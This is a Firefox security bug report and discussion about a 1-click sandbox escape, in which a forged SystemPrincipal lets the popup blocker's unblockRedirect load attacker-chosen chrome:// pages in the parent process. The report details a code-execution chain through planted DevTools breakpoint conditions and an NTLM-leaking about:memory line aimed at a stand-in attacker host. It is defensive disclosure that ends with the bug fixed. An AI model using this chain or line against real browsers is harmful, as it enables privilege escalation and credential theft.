Sandbox escape: [@ PopupAndRedirectBlockingParent::unblockRedirect] uses forged SystemPrincipal as triggeringPrincipal
Categories
(Toolkit :: Popup Blocker, defect)
Tracking
()
People
(Reporter: bugmon, Assigned: nika)
References
(Blocks 1 open bug)
Details
(5 keywords, Whiteboard: [prefs-checked])
Attachments
(6 files)
|
5.04 KB,
text/plain
|
Details | |
|
12.40 KB,
patch
|
Details | Diff | Splinter Review | |
|
2.39 KB,
text/html
|
Details | |
|
122 bytes,
text/plain
|
Details | |
|
12.39 KB,
text/plain
|
Details | |
|
1.45 KB,
patch
|
Details | Diff | Splinter Review |
VULNERABILITY: Unvalidated triggeringPrincipal in PopupAndRedirectBlockingParent.unblockRedirect()
Root Cause (PopupAndRedirectBlockingParent.sys.mjs:173-183)
unblockRedirect(aBrowsingContext, aInnerWindowId, aRedirectURISpec) {
const sourceWG = aBrowsingContext.currentWindowGlobal;
if (!sourceWG || sourceWG.innerWindowId != aInnerWindowId) {
return;
}
const uri = Services.io.newURI(aRedirectURISpec);
aBrowsingContext.top.loadURI(uri, {
triggeringPrincipal: sourceWG.documentPrincipal, // ← UNVALIDATED
});
}
The JS actor reads sourceWG.documentPrincipal from a WindowGlobalParent and uses it directly as the triggeringPrincipal for CanonicalBrowsingContext.loadURI(). It assumes this principal is trustworthy because it came from the parent-side WindowGlobal state. This assumption is false.
Enabling Weakness: Non-Fatal Principal Validation
WindowGlobalParent.mDocumentPrincipal is set from child-supplied data at WindowGlobalParent.cpp:129:
wgp->mDocumentPrincipal = aInit.principal();
The parent validates this at BrowserParent.cpp:1401:
if (!Manager()->ValidatePrincipal(aInit.principal(), validationOptions)) {
ContentParent::LogAndAssertFailedPrincipalValidationInfo(aInit.principal(), __func__);
}
// Execution CONTINUES - WGP created with whatever child sent
LogAndAssertFailedPrincipalValidationInfo (ContentParent.cpp:1333-1337):
#ifdef DEBUG
MOZ_ASSERT(false, "Receiving unexpected Principal");
#endif
In release builds (and this ASAN fuzzing build — confirmed MOZ_DEBUG not defined), validation failure is logging + telemetry only. A compromised content process can send SystemPrincipal in WindowGlobalInit.principal() — validation fails, is logged, but the WindowGlobalParent is created anyway with SystemPrincipal stored as mDocumentPrincipal.
The content process also needs to handle OnNewDocument (WindowGlobalChild.cpp:222) which sends UpdateDocumentPrincipal — RecvUpdateDocumentPrincipal (WindowGlobalParent.cpp:467) does IPC_FAIL on mismatch, so the forge must be consistent across both messages (handled by keying on stable BrowsingContext name).
Attacker Control of redirectURISpec
aRedirectURISpec is fully attacker-controlled. Flow: unblockFirstRedirect() → getBlockedRedirect() (line 154) → actor.sendQuery("GetBlockedRedirect") → child process responds. The child's response is structured-cloned into the parent, and redirect.redirectURISpec is extracted (line 159) with no validation.
Combined Impact: SystemPrincipal-Triggered Load of Attacker URI
With SystemPrincipal as triggeringPrincipal:
CheckLoadURIWithPrincipalpasses for any URI — System can load chrome://, privileged about:, file://, etc.nsDocShellLoadStateconstructor (nsDocShellLoadState.cpp:269): since called from parent process,mTriggeringRemoteType = NOT_REMOTE_TYPE. This bypassesAssertProcessCouldTriggerLoadIfSystem(line 1081) which only fires for web remote types.ProcessIsolation.cpp:277:chrome://returnsIsolationBehavior::Parentin the FIRST pass. The SystemPrincipal→ForceWebRemoteType guard at line 754 is never reached becausebehavioris alreadyParent, notWebContent.DocumentLoadListener.cpp:2479: Final validation explicitly passesValidatePrincipalOptions::AllowSystem— SystemPrincipal accepted.- Process switch to parent. Attacker-chosen chrome:// page loads in parent process with SystemPrincipal.
Demonstrated Primitive
The PoC demonstrates (with crashed_parent: true and ChromeUtils::ReleaseAssert in the stack):
- Content process forges SystemPrincipal (stderr:
[EXPLOIT] C++: Forging SystemPrincipal at WindowGlobalChild::Create/OnNewDocument) - JS actor calls
loadURI(attackerURI, {triggeringPrincipal: SystemPrincipal}) - Attacker's
redirectURISpec(chrome://global/content/pwn-testvector.html#<payload>) loaded in PARENT process - The attacker-controlled URL fragment is visible in the parent-process crash message, proving end-to-end data flow
Shipping Code-Execution Sinks (Real-World Chain)
The PoC uses a test-vector chrome page. A real attacker would target shipping sinks:
about:devtools-toolbox?type=process (AboutDevToolsToolboxRegistration.sys.mjs, no URI_SAFE_FOR_UNTRUSTED_CONTENT, no URI_MUST_LOAD_IN_CHILD → PARENT + SYSTEM):
commands-from-url.js:173-175:DevToolsServer.init()+connectPipe()— NO pref checks (bypassesdevtools.chrome.enabledANDdevtools.debugger.remote-enabled, both false on release)commands-from-url.js:124:DevToolsServer.allowChromeProcess = true— persistent global flagcommands-from-url.js:127:CommandsFactory.forMainProcess({client})— target =browser.xhtml(confirmed bybrowser_commands_from_url.js:65-68)toolbox.js:966,2428: On open,_listenAndApplyConfigurationPref()→getThreadOptions()→ readsasyncStore.pendingBreakpointsfrom IndexedDB (indexeddb://fx-devtools) →updateConfiguration(threadConfiguration)sends to ThreadActorthread-utils.js:62-91:sanitizeBreakpoints()validates ONLYlocation/generatedLocation— does NOT stripoptions.conditionoroptions.logValuebreakpoint.js:136: When breakpoint hits,frame.eval(condition, {hideFromDebugger: true})— attacker-controlled code executes in browser.xhtml's debuggee frame
The indexeddb://fx-devtools IDB is shared across all DevTools instances and uses openForPrincipal (ChromeOnly) — content-process chrome JS (the compromised child actor) can write to it. Attacker plants a breakpoint with generatedLocation.sourceUrl = any frequently-executed parent module (e.g., resource://gre/modules/Timer.sys.mjs) and options.condition = payload. Loading about:devtools-toolbox?type=process applies it; next module execution → frame.eval(payload) in parent.
about:memory?file=<path> (nsAboutRedirector.cpp:148, PARENT + SYSTEM): Arbitrary file read via File.createFromFileName() / NetUtil.newChannel({loadUsingSystemPrincipal: true}). On Windows, ?file=\\attacker.com\share\x.gz triggers SMB with user's NTLM credentials (hash leak / relay).
User Interaction Requirement
The vulnerable unblockRedirect() is reached via unblockFirstRedirect(), called from:
PopupAndRedirectBlockerObserver.toggleAllowPopupsForSite()— user clicks "Allow pop-ups for [site]" in the standard popup blocker notification menupopupbrowser-sitePermissionPanel.js:_createBlockedRedirectText()— user clicks the text-link in the permission panel
This is a 1-click sandbox escape. The notification shown is the standard "Firefox prevented this site from redirecting" banner — a high-credibility UI element that users routinely interact with. The PoC includes a test harness setTimeout(() => unblockFirstRedirect()) to simulate this click for automated reproduction (equivalent to BrowserTestUtils.synthesizeMouseAtCenter in a mochitest).
Actor Registration Permits Broad Attack Surface
ActorManagerParent.sys.mjs:488-505: allFrames: true, no matches, no remoteTypes, no messageManagerGroups. The actor can be instantiated from any frame in any content process. Combined with the popup blocker's standard behavior (any window.open() without user gesture creates the actor), there is no constraint on which sites can drive this vulnerability.
Fix
unblockRedirect() must not trust sourceWG.documentPrincipal as a load-capability grant. Options:
- Use a null principal or explicitly construct a content principal from
sourceWG.documentURIinstead of reading the stored principal - Validate
sourceWG.documentPrincipal.isSystemPrincipal === falseand!nsContentUtils.IsExpandedPrincipal(...)before using it - Derive the triggering principal from
aBrowsingContext.top.currentWindowGlobal.documentPrincipal(the load target) rather than the source frame — this is what the user expects semantically (the redirect was blocked for the tab, not the iframe)
Additionally, BrowserParent::RecvNewWindowGlobal should hard-fail (kill content process) on ValidatePrincipal() failure rather than just logging, making this entire class of attack impossible.
| Reporter | ||
Comment 1•7 months ago
|
||
| Reporter | ||
Comment 2•7 months ago
|
||
| Reporter | ||
Comment 3•7 months ago
|
||
| Reporter | ||
Comment 4•7 months ago
|
||
| Reporter | ||
Comment 5•7 months ago
|
||
Updated•7 months ago
|
Updated•7 months ago
|
Comment 7•7 months ago
|
||
unblockRedirect() could also check if the URL is something webby using loadflags, no?
Comment 8•7 months ago
|
||
Prefs check: dom.disable_open_during_load=true and privacy.popups.showBrowserMessage=true are both the shipping Firefox Desktop default (browser/app/profile/firefox.js:1202,1209); browser.dom.window.dump.enabled is diagnostic-only for the [EXPLOIT] trace output. Reproduces in default config.
Comment 9•7 months ago
|
||
This doesn't seem great but I'm not sure how bad this actually is.
Updated•7 months ago
|
Updated•7 months ago
|
Comment 10•7 months ago
|
||
Comment 11•7 months ago
|
||
Verified by reproduction: applied the exploit patch, confirmed crashed_parent: true with ChromeUtils::ReleaseAssert from the chrome:// test vector, added this fix on top, re-ran — no crash (C++ principal forge still active per stderr, load rejected at the JS check).
The fix:
!principal?.isContentPrincipal→ return. Blocked framebusting navigations only originate from web content (seeBrowsingContext::CheckFramebusting— it bails for parent-process loads and for system-principal sources). Using an allowlist (isContentPrincipal) rather than a denylist (!isSystemPrincipal && !isExpandedPrincipal) so any future principal type is rejected by default.triggeringRemoteType: sourceWG.domProcess?.remoteType. Defense-in-depth: makesnsDocShellLoadStatetreat the load as content-triggered instead of defaulting toNOT_REMOTE_TYPE, activatingAssertProcessCouldTriggerLoadIfSystemin diagnostic builds. Same pattern asClickHandlerParent.sys.mjs.
Re: comment 7 (scheme loadflags) — with a content triggering principal, CheckLoadURIWithPrincipal inside loadURI already blocks chrome://, privileged about:, and file://. An explicit scheme filter could be added as additional belt-and-braces but the principal check closes the escape.
Not fixing BrowserParent::RecvNewWindowGlobal (the underlying non-fatal validation) here — that's a broader change that likely affects other consumers of documentPrincipal and deserves its own bug.
This is the analysis tool's suggested fix. Feel welcome to adopt it as a starting point and evolve it as needed to meet our coding standards.
Comment 12•7 months ago
|
||
The window global's parent side principal being inaccurate / forgeable feels like something we should fix in the implementation of WindowGlobalParent, not in the consuming actors. We have made other actor fixes that rely on the parent process side information not being child-process-forgeable. The actor should maybe be using this.manager to access the window global but by the sounds of it that wouldn't be enough on its own anyway.
Nika, can you help take a look and suggest a more in-depth fix?
| Assignee | ||
Comment 13•7 months ago
|
||
(In reply to :Gijs (he/him) from comment #12)
The window global's parent side principal being inaccurate / forgeable feels like something we should fix in the implementation of
WindowGlobalParent, not in the consuming actors. We have made other actor fixes that rely on the parent process side information not being child-process-forgeable. The actor should maybe be usingthis.managerto access the window global but by the sounds of it that wouldn't be enough on its own anyway.Nika, can you help take a look and suggest a more in-depth fix?
Yes, I agree that we should fix the issue of a forgeable principal in WindowGlobalParent first. I have some wip changes I'm planning to post in bug 2027207 soon to turn the checks into fatal checks, and I also am hoping to do some work in another bug soon to be able to validate the principals even more thoroughly, though I haven't been able to find the time to post them yet.
Comment 14•5 months ago
|
||
bug 2027207 was fixed, can bugmon check if this same vulnerability would still work? I believe the answer might be "no" given comment 13, but I haven't investigated in detail.
Updated•3 months ago
|
Comment 15•3 months ago
|
||
This is no longer reproducible after the fixes in Bug 2027207. We may look into additional hardening by checking that the triggering principal is either content or null, but the root cause is fixed IMO.
Updated•2 months ago
|
Updated•2 months ago
|
Updated•2 months ago
|
Updated•2 months ago
|
Description
•